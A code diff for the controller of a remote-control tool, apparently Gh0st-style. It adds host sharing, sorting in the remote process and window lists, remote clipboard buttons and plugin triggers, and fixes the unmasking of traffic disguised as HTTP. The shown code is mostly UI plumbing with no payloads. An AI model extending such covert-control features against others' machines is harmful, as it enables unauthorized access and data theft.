// 标题栏显示的主机名:有备注用备注,否则用 IP
CString GetTitleHostName() const;
POINT m_ClientCursorPos; POINT m_ClientCursorPos;
BYTE m_bCursorIndex; BYTE m_bCursorIndex;
BOOL m_bIsTraceCursor; BOOL m_bIsTraceCursor;
@@ -274,13 +277,11 @@ public:
clock_t m_lastMouseMove; // 鼠标移动时间 clock_t m_lastMouseMove; // 鼠标移动时间
POINT m_lastMousePoint;// 上次鼠标位置 POINT m_lastMousePoint;// 上次鼠标位置
BOOL m_bAdaptiveSize = TRUE; BOOL m_bAdaptiveSize = TRUE;
HCURSOR m_hRemoteCursor = NULL;
HCURSOR m_hCustomCursor = NULL; // 缓存的自定义光标 HCURSOR m_hCustomCursor = NULL; // 缓存的自定义光标
DWORD m_dwCustomCursorHash = 0; // 当前自定义光标哈希 DWORD m_dwCustomCursorHash = 0; // 当前自定义光标哈希
CRect m_CRect; CRect m_CRect;
double m_wZoom=1, m_hZoom=1; double m_wZoom=1, m_hZoom=1;
int m_offsetX=0, m_offsetY=0; // 自适应模式黑边偏移(像素) int m_offsetX=0, m_offsetY=0; // 自适应模式黑边偏移(像素)
bool m_bMouseTracking = false;
// 自适应黑边合成缓冲(按窗口尺寸缓存,避免每帧分配 GDI 资源) // 自适应黑边合成缓冲(按窗口尺寸缓存,避免每帧分配 GDI 资源)
HDC m_hComposeDC = NULL; HDC m_hComposeDC = NULL;
+20 -1
View File
@@ -112,7 +112,12 @@ protected:
m_bShouldUnmask = TRUE; m_bShouldUnmask = TRUE;
std::string clientIP = getXForwardedFor(str); std::string clientIP = getXForwardedFor(str);
if (!clientIP.empty()) peer = clientIP; if (!clientIP.empty()) peer = clientIP;
} else { } else if (m_bShouldUnmask != TRUE) {
// 仅当连接尚未被判定为 HTTP(初始 -1,或已确认非 HTTP)时才置为 FALSE。
// 否则会误伤 HTTP 连接的分片续包:续包到达时读位置已越过掩码头,
// TryUnMask 找不到 "POST "(maskType==None),若在这里把 m_bShouldUnmask
// 从 TRUE 改回 FALSE,下一个新包(仍是 HTTP 掩码)就不再解掩码,从而被 Parse
// 判为 PARSER_FAILED。这正是「kill 后进程列表确认包到不了 NotifyProc」的根因。
m_bShouldUnmask = FALSE; m_bShouldUnmask = FALSE;
} }
if (nullptr == m_Masker) { if (nullptr == m_Masker) {
@@ -568,6 +573,20 @@ public:
} }
return FALSE; return FALSE;
} }
// 等待 OutCompressedBuffer 排空。OnClientPostSending 在最后一个 WSASend 完成后
// ClearBuffer 使有效长度归零,此处轮询该信号,避免背靠背 Send2Client 对同一缓冲
// 并发 WSASend(MCP OnSystemReady 发写命令后补发刷新命令时调用)。
bool WaitSendIdle(int timeoutMs) override
{
ULONGLONG deadline = (timeoutMs > 0) ? (GetTickCount64() + (ULONGLONG)timeoutMs) : 0;
while (OutCompressedBuffer.GetBufferLength() != 0) {
if (timeoutMs > 0 && GetTickCount64() >= deadline) {
return false;
}
Sleep(1);
}
return true;
}
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {}) VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {})
{ {
for (int i = 0; i < ONLINELIST_MAX; i++) { for (int i = 0; i < ONLINELIST_MAX; i++) {
+125
View File
@@ -0,0 +1,125 @@
// ShareHostDlg.cpp: 分享主机 / 转移主机 专用对话框实现
//
#include "stdafx.h"
#include "ShareHostDlg.h"
#include "2015Remote.h"
#include <algorithm>
CShareHostDlg::CShareHostDlg(CWnd* pParent /*=nullptr*/, BOOL bNeedDays /*=FALSE*/)
: CDialogLangEx(IDD_DIALOG_SHARE_HOST, pParent)
, m_bNeedDays(bNeedDays)
, m_bShine(TRUE)
{
}
CShareHostDlg::~CShareHostDlg()
{
}
void CShareHostDlg::Init(LPCTSTR caption, LPCTSTR prompt)
{
m_sCaption = caption;
m_sPrompt = prompt;
}
void CShareHostDlg::InitDays(LPCTSTR name, LPCTSTR defaultValue)
{
m_sDaysName = name;
m_sDays = defaultValue;
}
void CShareHostDlg::SetHistoryKey(LPCTSTR historyKey)
{
m_sHistoryKey = historyKey;
}
void CShareHostDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogLangEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_SHARE_ADDRESS, m_ComboInput);
DDX_Control(pDX, IDC_STATIC_SHARE_DAYS, m_StaticDays);
DDX_Control(pDX, IDC_EDIT_SHARE_DAYS, m_EditDays);
DDX_Control(pDX, IDC_CHECK_USE_SHINE, m_CheckShine);
}
BEGIN_MESSAGE_MAP(CShareHostDlg, CDialogLangEx)
END_MESSAGE_MAP()
BOOL CShareHostDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
SetWindowText(m_sCaption);
SetDlgItemText(IDC_STATIC_SHARE_ADDRESS, m_sPrompt);
SetDlgItemText(IDC_CHECK_USE_SHINE, _TR("使用 Shine 协议(兼容 Go 服务端)"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
// 天数(仅转移主机显示)
m_StaticDays.SetWindowTextA(m_sDaysName);
m_StaticDays.ShowWindow(m_bNeedDays ? SW_SHOW : SW_HIDE);
m_EditDays.SetWindowTextA(m_sDays);
m_EditDays.ShowWindow(m_bNeedDays ? SW_SHOW : SW_HIDE);
// 默认勾选 Shine
m_CheckShine.SetCheck(m_bShine ? BST_CHECKED : BST_UNCHECKED);
LoadHistory();
m_ComboInput.SetWindowText(m_str);
return TRUE;
}
void CShareHostDlg::OnOK()
{
m_ComboInput.GetWindowText(m_str);
m_bShine = (m_CheckShine.GetCheck() == BST_CHECKED);
if (m_bNeedDays)
m_EditDays.GetWindowText(m_sDays);
SaveHistory();
CDialogLangEx::OnOK();
}
void CShareHostDlg::LoadHistory()
{
if (m_sHistoryKey.IsEmpty()) return;
std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
if (history.empty()) return;
auto items = StringToVector(history, '|');
for (size_t i = 0; i < items.size() && i < 16; i++) {
if (!items[i].empty()) {
m_ComboInput.AddString(items[i].c_str());
}
}
}
void CShareHostDlg::SaveHistory()
{
if (m_sHistoryKey.IsEmpty() || m_str.IsEmpty()) return;
std::string newValue = m_str.GetString();
if (newValue.find('|') != std::string::npos) return;
std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
auto items = StringToVector(history, '|');
items.erase(std::remove(items.begin(), items.end(), newValue), items.end());
items.erase(std::remove(items.begin(), items.end(), std::string("")), items.end());
items.insert(items.begin(), newValue);
if (items.size() > 16) {
items.resize(16);
}
std::string result;
for (size_t i = 0; i < items.size(); i++) {
if (i > 0) result += '|';
result += items[i];
}
THIS_CFG.SetStr("history", m_sHistoryKey.GetString(), result);
}
+45
View File
@@ -0,0 +1,45 @@
#pragma once
#include "resource.h"
#include "LangManager.h"
// 分享主机 / 转移主机 专用对话框(带 Shine/HELL 协议勾选)
class CShareHostDlg : public CDialogLangEx
{
public:
CShareHostDlg(CWnd* pParent = nullptr, BOOL bNeedDays = FALSE);
virtual ~CShareHostDlg();
enum { IDD = IDD_DIALOG_SHARE_HOST };
void Init(LPCTSTR caption, LPCTSTR prompt);
void InitDays(LPCTSTR name, LPCTSTR defaultValue); // 仅转移主机显示
void SetHistoryKey(LPCTSTR historyKey);
// 结果
CString m_str; // 地址 IP:PORT
CString m_sDays; // 天数(转移主机)
BOOL m_bShine; // TRUE=Shine(0), FALSE=HELL(1)
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
virtual void OnOK();
DECLARE_MESSAGE_MAP()
CString m_sCaption;
CString m_sPrompt;
CString m_sDaysName;
CString m_sHistoryKey;
BOOL m_bNeedDays;
CComboBox m_ComboInput;
CStatic m_StaticDays;
CEdit m_EditDays;
CButton m_CheckShine;
void LoadHistory();
void SaveHistory();
};
+56 -4
View File
@@ -80,6 +80,7 @@ BOOL CSystemDlg::OnInitDialog()
SetWindowText(str);//设置对话框标题 SetWindowText(str);//设置对话框标题
m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
LoadSortPreference(); // 加载上次记忆的排序偏好
if (m_bHow==TOKEN_PSLIST) { //进程管理初始化列表 if (m_bHow==TOKEN_PSLIST) { //进程管理初始化列表
m_ControlList.InsertColumnL(0, "映像名称", LVCFMT_LEFT, 180); m_ControlList.InsertColumnL(0, "映像名称", LVCFMT_LEFT, 180);
m_ControlList.InsertColumnL(1, "PID", LVCFMT_LEFT, 70); m_ControlList.InsertColumnL(1, "PID", LVCFMT_LEFT, 70);
@@ -227,6 +228,8 @@ void CSystemDlg::ShowWindowsList(void)
lvc.pszText = str.GetBuffer(0); lvc.pszText = str.GetBuffer(0);
lvc.cchTextMax = str.GetLength(); lvc.cchTextMax = str.GetLength();
m_ControlList.SetColumn(1, &lvc); m_ControlList.SetColumn(1, &lvc);
ApplySort(); // 应用记忆的排序偏好
} }
void CSystemDlg::ShowProcessList(void) void CSystemDlg::ShowProcessList(void)
@@ -260,8 +263,8 @@ void CSystemDlg::ShowProcessList(void)
m_ControlList.SetItemText(i, 1, str); m_ControlList.SetItemText(i, 1, str);
m_ControlList.SetItemText(i, 2, szProcessFullPath); m_ControlList.SetItemText(i, 2, szProcessFullPath);
m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str()); m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str());
// ItemData 为进程ID // ItemData 为进程ID;Data[3] 需与第 4 列"架构"一致,否则按架构排序拿到空串而无意义
auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath}, arr[1].c_str() }; auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath, arr[1].empty() ? "N/A" : arr[1].c_str()}, arr[1].c_str() };
m_ControlList.SetItemData(i, DWORD_PTR(data)); m_ControlList.SetItemData(i, DWORD_PTR(data));
dwOffset += sizeof(DWORD) + lstrlen(szExeFile) + lstrlen(szProcessFullPath) + 2; //跳过这个数据结构 进入下一个循环 dwOffset += sizeof(DWORD) + lstrlen(szExeFile) + lstrlen(szProcessFullPath) + 2; //跳过这个数据结构 进入下一个循环
@@ -273,6 +276,8 @@ void CSystemDlg::ShowProcessList(void)
lvc.pszText = str.GetBuffer(0); lvc.pszText = str.GetBuffer(0);
lvc.cchTextMax = str.GetLength(); lvc.cchTextMax = str.GetLength();
m_ControlList.SetColumn(2, &lvc); //在列表中显示有多少个进程 m_ControlList.SetColumn(2, &lvc); //在列表中显示有多少个进程
ApplySort(); // 应用记忆的排序偏好
} }
@@ -319,8 +324,6 @@ int CALLBACK CSystemDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM
void CSystemDlg::SortByColumn(int nColumn) void CSystemDlg::SortByColumn(int nColumn)
{ {
static int m_nSortColumn = 0;
static bool m_bSortAscending = false;
if (nColumn == m_nSortColumn) { if (nColumn == m_nSortColumn) {
// 如果点击的是同一列,切换排序顺序 // 如果点击的是同一列,切换排序顺序
m_bSortAscending = !m_bSortAscending; m_bSortAscending = !m_bSortAscending;
@@ -330,11 +333,56 @@ void CSystemDlg::SortByColumn(int nColumn)
m_bSortAscending = true; m_bSortAscending = true;
} }
ApplySort();
SaveSortPreference();
}
void CSystemDlg::ApplySort()
{
// 无有效排序偏好时保持列表原始顺序
if (m_nSortColumn < 0) {
return;
}
// 防御:配置被手动修改导致列索引越界时跳过排序
CHeaderCtrl* pHeader = m_ControlList.GetHeaderCtrl();
if (pHeader && m_nSortColumn >= pHeader->GetItemCount()) {
return;
}
// 创建排序信息 // 创建排序信息
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending); std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo)); m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
} }
void CSystemDlg::LoadSortPreference()
{
// 进程管理 / 窗口管理 分别记忆各自的排序偏好
const char* key = (m_bHow == TOKEN_PSLIST) ? "ProcessListSort" : "WindowListSort";
std::string val = THIS_CFG.GetStr("list", key, "");
if (val.empty()) {
m_nSortColumn = -1; // 无偏好:保持列表原始顺序
m_bSortAscending = true;
return;
}
auto arr = StringToVector(val, ',');
if (arr.size() >= 2) {
m_nSortColumn = atoi(arr[0].c_str());
m_bSortAscending = (atoi(arr[1].c_str()) != 0);
} else {
m_nSortColumn = -1;
m_bSortAscending = true;
}
}
void CSystemDlg::SaveSortPreference()
{
const char* key = (m_bHow == TOKEN_PSLIST) ? "ProcessListSort" : "WindowListSort";
std::string val = std::to_string(m_nSortColumn) + "," + (m_bSortAscending ? "1" : "0");
THIS_CFG.SetStr("list", key, val);
}
void CSystemDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult) void CSystemDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
{ {
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR); LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
@@ -493,6 +541,7 @@ void CSystemDlg::OnWlistHide()
lpMsgBuf[0]=CMD_WINDOW_TEST; //窗口处理数据头 lpMsgBuf[0]=CMD_WINDOW_TEST; //窗口处理数据头
DWORD hwnd = data->ID; //得到窗口的句柄一同发送 DWORD hwnd = data->ID; //得到窗口的句柄一同发送
pListCtrl->SetItemText(nItem,2,"hidden"); //注意这时将列表中的显示状态为"隐藏" pListCtrl->SetItemText(nItem,2,"hidden"); //注意这时将列表中的显示状态为"隐藏"
data->Data[2] = "hidden"; // 同步 ItemData,避免查看/排序读到旧状态
//这样在删除列表条目时就不删除该项了 如果删除该项窗口句柄会丢失 就永远也不能显示了 //这样在删除列表条目时就不删除该项了 如果删除该项窗口句柄会丢失 就永远也不能显示了
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //得到窗口的句柄一同发送 memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //得到窗口的句柄一同发送
DWORD dHow=SW_HIDE; //窗口处理参数 0 DWORD dHow=SW_HIDE; //窗口处理参数 0
@@ -516,6 +565,7 @@ void CSystemDlg::OnWlistRecover()
lpMsgBuf[0]= CMD_WINDOW_TEST; lpMsgBuf[0]= CMD_WINDOW_TEST;
DWORD hwnd = data->ID; DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"normal"); pListCtrl->SetItemText(nItem,2,"normal");
data->Data[2] = "normal"; // 同步 ItemData,避免查看/排序读到旧状态
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_NORMAL; DWORD dHow=SW_NORMAL;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
@@ -538,6 +588,7 @@ void CSystemDlg::OnWlistMax()
lpMsgBuf[0]= CMD_WINDOW_TEST; lpMsgBuf[0]= CMD_WINDOW_TEST;
DWORD hwnd = data->ID; DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"maximized"); pListCtrl->SetItemText(nItem,2,"maximized");
data->Data[2] = "maximized"; // 同步 ItemData,避免查看/排序读到旧状态
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_MAXIMIZE; DWORD dHow=SW_MAXIMIZE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
@@ -560,6 +611,7 @@ void CSystemDlg::OnWlistMin()
lpMsgBuf[0]= CMD_WINDOW_TEST; lpMsgBuf[0]= CMD_WINDOW_TEST;
DWORD hwnd = data->ID; DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"minimized"); pListCtrl->SetItemText(nItem,2,"minimized");
data->Data[2] = "minimized"; // 同步 ItemData,避免查看/排序读到旧状态
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_MINIMIZE; DWORD dHow=SW_MINIMIZE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
+5
View File
@@ -19,6 +19,8 @@ public:
void OnReceiveComplete(void); void OnReceiveComplete(void);
CWnd* m_pParent; CWnd* m_pParent;
BOOL m_bHow; BOOL m_bHow;
int m_nSortColumn = -1; // 当前排序列,-1 表示未排序
bool m_bSortAscending = true; // 排序方向(true=升序)
// 对话框数据 // 对话框数据
enum { IDD = IDD_DIALOG_SYSTEM }; enum { IDD = IDD_DIALOG_SYSTEM };
@@ -32,6 +34,9 @@ public:
void DeleteAllItems(); void DeleteAllItems();
void SortByColumn(int nColumn); void SortByColumn(int nColumn);
void ApplySort();
void LoadSortPreference();
void SaveSortPreference();
afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult); afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort); static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
+34 -11
View File
@@ -39,6 +39,8 @@ BEGIN_MESSAGE_MAP(CToolbarDlg, CDialogEx)
ON_BN_CLICKED(IDC_BTN_Y, &CToolbarDlg::OnBnClickedY) ON_BN_CLICKED(IDC_BTN_Y, &CToolbarDlg::OnBnClickedY)
ON_BN_CLICKED(IDC_BTN_Z, &CToolbarDlg::OnBnClickedZ) ON_BN_CLICKED(IDC_BTN_Z, &CToolbarDlg::OnBnClickedZ)
ON_BN_CLICKED(IDC_BTN_SCREENSHOT, &CToolbarDlg::OnBnClickedScreenshot) ON_BN_CLICKED(IDC_BTN_SCREENSHOT, &CToolbarDlg::OnBnClickedScreenshot)
ON_BN_CLICKED(IDC_BTN_GET_CLIPBOARD, &CToolbarDlg::OnBnClickedGetClipboard)
ON_BN_CLICKED(IDC_BTN_SET_CLIPBOARD, &CToolbarDlg::OnBnClickedSetClipboard)
ON_WM_ERASEBKGND() ON_WM_ERASEBKGND()
END_MESSAGE_MAP() END_MESSAGE_MAP()
@@ -88,7 +90,7 @@ void CToolbarDlg::CheckMousePosition()
int monWidth = monRight - monLeft; int monWidth = monRight - monLeft;
int monHeight = monBottom - monTop; int monHeight = monBottom - monTop;
int btnSize = 32, btnSpacing = 8, btnCount = 16; int btnSize = 32, btnSpacing = 8, btnCount = 18;
if (m_nPosition <= 1) { if (m_nPosition <= 1) {
// 水平模式 (上/下) // 水平模式 (上/下)
@@ -153,9 +155,9 @@ void CToolbarDlg::SlideIn()
int monWidth = monRight - monLeft; int monWidth = monRight - monLeft;
int monHeight = monBottom - monTop; int monHeight = monBottom - monTop;
int hw = 640; // 水平工具栏宽度 (与垂直高度一致) int hw = 720; // 水平工具栏宽度 (与垂直高度一致)
int vw = 40; int vw = 40;
int vh = 640; int vh = 720;
// 从边缘展开(改变窗口大小),避免多显示器时跑到相邻屏幕 // 从边缘展开(改变窗口大小),避免多显示器时跑到相邻屏幕
switch (m_nPosition) { switch (m_nPosition) {
@@ -212,9 +214,9 @@ void CToolbarDlg::SlideOut()
int monWidth = monRight - monLeft; int monWidth = monRight - monLeft;
int monHeight = monBottom - monTop; int monHeight = monBottom - monTop;
int hw = 640; int hw = 720;
int vw = 40; int vw = 40;
int vh = 640; int vh = 720;
CWnd* btns[] = { CWnd* btns[] = {
&m_btnExit, &m_btnControl, &m_btnExit, &m_btnControl,
@@ -224,9 +226,10 @@ void CToolbarDlg::SlideOut()
&m_btnQuality, &m_btnRestoreConsole, &m_btnQuality, &m_btnRestoreConsole,
&m_btnX, &m_btnY, &m_btnZ, &m_btnX, &m_btnY, &m_btnZ,
&m_btnScreenshot, &m_btnScreenshot,
&m_btnGetClipboard, &m_btnSetClipboard,
&m_btnMinimize, &m_btnClose, &m_btnMinimize, &m_btnClose,
}; };
const int N = 16; const int N = 18;
CRect btnRects[N]; CRect btnRects[N];
for (int i = 0; i < N; i++) { for (int i = 0; i < N; i++) {
btns[i]->GetWindowRect(&btnRects[i]); btns[i]->GetWindowRect(&btnRects[i]);
@@ -331,6 +334,8 @@ BOOL CToolbarDlg::OnInitDialog()
m_btnY.SubclassDlgItem(IDC_BTN_Y, this); m_btnY.SubclassDlgItem(IDC_BTN_Y, this);
m_btnZ.SubclassDlgItem(IDC_BTN_Z, this); m_btnZ.SubclassDlgItem(IDC_BTN_Z, this);
m_btnScreenshot.SubclassDlgItem(IDC_BTN_SCREENSHOT, this); m_btnScreenshot.SubclassDlgItem(IDC_BTN_SCREENSHOT, this);
m_btnGetClipboard.SubclassDlgItem(IDC_BTN_GET_CLIPBOARD, this);
m_btnSetClipboard.SubclassDlgItem(IDC_BTN_SET_CLIPBOARD, this);
m_btnMinimize.SubclassDlgItem(IDC_BTN_MINIMIZE, this); m_btnMinimize.SubclassDlgItem(IDC_BTN_MINIMIZE, this);
m_btnClose.SubclassDlgItem(IDC_BTN_CLOSE, this); m_btnClose.SubclassDlgItem(IDC_BTN_CLOSE, this);
@@ -343,6 +348,8 @@ BOOL CToolbarDlg::OnInitDialog()
// Y按钮图标在 UpdateButtonIcons 中根据音频状态动态设置 // Y按钮图标在 UpdateButtonIcons 中根据音频状态动态设置
m_btnZ.SetIconDrawFunc(CIconButton::DrawIconLetterZ); // 预留按钮 Z m_btnZ.SetIconDrawFunc(CIconButton::DrawIconLetterZ); // 预留按钮 Z
m_btnScreenshot.SetIconDrawFunc(CIconButton::DrawIconScreenshot); m_btnScreenshot.SetIconDrawFunc(CIconButton::DrawIconScreenshot);
m_btnGetClipboard.SetIconDrawFunc(CIconButton::DrawIconLetterC);
m_btnSetClipboard.SetIconDrawFunc(CIconButton::DrawIconLetterP);
m_btnMinimize.SetIconDrawFunc(CIconButton::DrawIconMinimize); m_btnMinimize.SetIconDrawFunc(CIconButton::DrawIconMinimize);
m_btnClose.SetIconDrawFunc(CIconButton::DrawIconClose); m_btnClose.SetIconDrawFunc(CIconButton::DrawIconClose);
m_btnClose.SetIsCloseButton(true); m_btnClose.SetIsCloseButton(true);
@@ -367,6 +374,8 @@ BOOL CToolbarDlg::OnInitDialog()
m_tooltip.AddTool(&m_btnY, pParent->m_Settings.AudioEnabled ? _TR("关闭系统音频") : _TR("打开系统音频")); m_tooltip.AddTool(&m_btnY, pParent->m_Settings.AudioEnabled ? _TR("关闭系统音频") : _TR("打开系统音频"));
m_tooltip.AddTool(&m_btnZ, _TR("选择ROI")); m_tooltip.AddTool(&m_btnZ, _TR("选择ROI"));
m_tooltip.AddTool(&m_btnScreenshot, _TR("截图")); m_tooltip.AddTool(&m_btnScreenshot, _TR("截图"));
m_tooltip.AddTool(&m_btnGetClipboard, _TR("获取剪贴板"));
m_tooltip.AddTool(&m_btnSetClipboard, _TR("设置剪贴板"));
m_tooltip.AddTool(&m_btnMinimize, _TR("最小化")); m_tooltip.AddTool(&m_btnMinimize, _TR("最小化"));
m_tooltip.AddTool(&m_btnClose, _TR("关闭")); m_tooltip.AddTool(&m_btnClose, _TR("关闭"));
@@ -383,9 +392,9 @@ BOOL CToolbarDlg::OnInitDialog()
int monWidth = rcMonitor.right - rcMonitor.left; int monWidth = rcMonitor.right - rcMonitor.left;
int monHeight = rcMonitor.bottom - rcMonitor.top; int monHeight = rcMonitor.bottom - rcMonitor.top;
int hw = 640; int hw = 720;
int vw = 40; int vw = 40;
int vh = 640; int vh = 720;
int hx = rcMonitor.left + (monWidth - hw) / 2; int hx = rcMonitor.left + (monWidth - hw) / 2;
switch (m_nPosition) { switch (m_nPosition) {
@@ -514,7 +523,7 @@ void CToolbarDlg::LayoutButtons()
{ {
int btnSize = 32; int btnSize = 32;
int btnSpacing = 8; int btnSpacing = 8;
int btnCount = 16; int btnCount = 18;
CWnd* btns[] = { CWnd* btns[] = {
&m_btnExit, &m_btnExit,
@@ -531,6 +540,8 @@ void CToolbarDlg::LayoutButtons()
&m_btnY, // 预留按钮 Y &m_btnY, // 预留按钮 Y
&m_btnZ, // 预留按钮 Z &m_btnZ, // 预留按钮 Z
&m_btnScreenshot, &m_btnScreenshot,
&m_btnGetClipboard,
&m_btnSetClipboard,
&m_btnMinimize, &m_btnMinimize,
&m_btnClose, &m_btnClose,
}; };
@@ -588,9 +599,9 @@ void CToolbarDlg::UpdatePosition()
int monWidth = rcMonitor.right - rcMonitor.left; int monWidth = rcMonitor.right - rcMonitor.left;
int monHeight = rcMonitor.bottom - rcMonitor.top; int monHeight = rcMonitor.bottom - rcMonitor.top;
int hw = 640; int hw = 720;
int vw = 40; int vw = 40;
int vh = 640; int vh = 720;
int hx = rcMonitor.left + (monWidth - hw) / 2; int hx = rcMonitor.left + (monWidth - hw) / 2;
switch (m_nPosition) { switch (m_nPosition) {
@@ -785,6 +796,18 @@ void CToolbarDlg::OnBnClickedScreenshot()
} }
} }
void CToolbarDlg::OnBnClickedGetClipboard()
{
// 与系统菜单 IDM_GET_CLIPBOARD 相同的处理逻辑
GetParent()->PostMessage(WM_SYSCOMMAND, IDM_GET_CLIPBOARD, 0);
}
void CToolbarDlg::OnBnClickedSetClipboard()
{
// 与系统菜单 IDM_SET_CLIPBOARD 相同的处理逻辑
GetParent()->PostMessage(WM_SYSCOMMAND, IDM_SET_CLIPBOARD, 0);
}
BOOL CToolbarDlg::PreTranslateMessage(MSG* pMsg) BOOL CToolbarDlg::PreTranslateMessage(MSG* pMsg)
{ {
if (m_tooltip.GetSafeHwnd()) { if (m_tooltip.GetSafeHwnd()) {
+4
View File
@@ -39,6 +39,8 @@ public:
CIconButton m_btnY; // 预留按钮 Y CIconButton m_btnY; // 预留按钮 Y
CIconButton m_btnZ; // 预留按钮 Z CIconButton m_btnZ; // 预留按钮 Z
CIconButton m_btnScreenshot; CIconButton m_btnScreenshot;
CIconButton m_btnGetClipboard; // 获取剪贴板
CIconButton m_btnSetClipboard; // 设置剪贴板
CIconButton m_btnMinimize; CIconButton m_btnMinimize;
CIconButton m_btnClose; CIconButton m_btnClose;
@@ -80,6 +82,8 @@ public:
afx_msg void OnBnClickedY(); // 预留按钮 Y 响应函数 afx_msg void OnBnClickedY(); // 预留按钮 Y 响应函数
afx_msg void OnBnClickedZ(); // 预留按钮 Z 响应函数 afx_msg void OnBnClickedZ(); // 预留按钮 Z 响应函数
afx_msg void OnBnClickedScreenshot(); afx_msg void OnBnClickedScreenshot();
afx_msg void OnBnClickedGetClipboard();
afx_msg void OnBnClickedSetClipboard();
afx_msg BOOL OnEraseBkgnd(CDC* pDC); afx_msg BOOL OnEraseBkgnd(CDC* pDC);
virtual BOOL OnInitDialog(); virtual BOOL OnInitDialog();
}; };
+47 -28
View File
@@ -76,6 +76,7 @@ BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd) ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove) ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers) ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
ON_CBN_SELCHANGE(IDC_COMBO_TRIGGER_TYPE, &CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType)
END_MESSAGE_MAP() END_MESSAGE_MAP()
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent) CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
@@ -118,6 +119,7 @@ void CTriggerSettingsDlg::InitControls()
{ {
// 初始化触发类型下拉框 // 初始化触发类型下拉框
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线")); m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
m_comboTriggerType.InsertString(TRIGGER_AUTH_FAILED, _TR("授权失败"));
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE); m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
// 初始化插件列表 // 初始化插件列表
@@ -147,27 +149,15 @@ void CTriggerSettingsDlg::LoadPluginsToList()
index++; index++;
} }
// 如果有已配置的主机上线触发器,勾选对应的插件 // 回显当前选中触发类型已勾选的插件
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs); ReflectPluginsForType((TriggerType)m_comboTriggerType.GetCurSel());
if (onlineTrigger) {
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (!dll) continue;
for (const auto& pluginName : onlineTrigger->PluginNames) {
if (pluginName == dll->Name) {
m_listPlugins.SetCheck(i, TRUE);
break;
}
}
}
}
} }
